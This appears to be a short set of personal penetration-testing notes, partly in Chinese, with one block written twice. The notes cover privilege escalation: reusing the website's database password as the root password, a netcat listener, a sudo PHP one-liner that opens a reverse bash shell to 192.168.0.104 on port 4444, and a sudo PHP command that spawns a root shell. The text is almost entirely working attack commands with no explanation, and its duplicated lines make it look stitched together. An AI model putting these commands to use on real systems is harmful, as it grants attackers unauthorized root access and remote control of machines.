root密码也可以是网站配置中数据库的密码
nc -lvp 4444
sudo /usr/bin/php -r '$sock=fsockopen("192.168.0.104",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
https://www.cnblogs.com/cc11001100/p/12203870.html
two
越权
sudo php -r 'system("/bin/bash");'
root密码也可以是网站配置中数据库的密码
nc -lvp 4444
sudo /usr/bin/php -r '$sock=fsockopen("192.168.0.104",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
https://www.cnblogs.com/cc11001100/p/12203870.html
two
越权
sudo php -r 'system("/bin/bash");'